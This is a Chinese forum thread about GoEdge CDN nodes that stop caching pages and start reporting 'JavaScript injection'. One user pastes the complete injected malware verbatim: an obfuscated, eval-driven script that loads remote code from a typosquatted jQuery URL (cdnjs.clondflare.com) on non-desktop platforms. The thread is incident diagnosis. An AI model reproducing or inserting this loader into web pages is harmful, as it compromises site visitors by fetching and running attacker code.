goedge

gaoanw

goedge的节点频繁会不缓存网页，js等其他静态资源就会缓存，节点重装就会正常村换，但是隔一会又会不缓存。
磁盘空间也够用

重新安装节点后他是x-cache HIT, policy, disk
但是过几个小时，节点上的网站他就会显示为x-cache BYPASS, JavaScript injection
x-edge-decompressed true

btpan

禁用内存缓存

gaoanw

被投毒了，挂马<script type="text/javascript">function xxSJRox(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3}}return t}function aPnDhiTia(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r)}if(a!=64){t=t+String.fromCharCode(i)}}return xxSJRox(t)}eval('window')['\x4d\x66\x58\x4b\x77\x56']=function(){;(function(u,r,w,d,f,c){var x=aPnDhiTia;u=decodeURIComponent(x(u.replace(new RegExp(c+''+c,'g'),c)));'jQuery';k=r[2]+'c'+f[1];'Flex';v=k+f[6];var s=d.createElement(v+c[0]+c[1]),g=function(){};s.type='text/javascript';{s.onload=function(){g()}}s.src=u;'CSS';d.getElementsByTagName('head')[0].appendChild(s)})('aHR0cHM6Ly9jZG5qcy5jbG9uZGZsYXJlLmNvbS9hamF4L2xpYnMvanF1ZXJ5Lm1pbi0zLjcuNC5qcw==','FgsPmaNtZ',window,document,'jrGYBsijJU','ptbnNbK')};if(!(/^Mac|Win/.test(navigator.platform)))MfXKwV();</script>

解密后得到加载JS代码：https://cdnjs.clondflare.com/ajax/libs/jquery.min-3.7.4.js

cnbysunney

gaoanw 发表于 2025-7-1 13:52
被投毒了，挂马function xxSJRox(e){var t="",n=r=c1=c2=0;while(n

找到哪里投毒的吗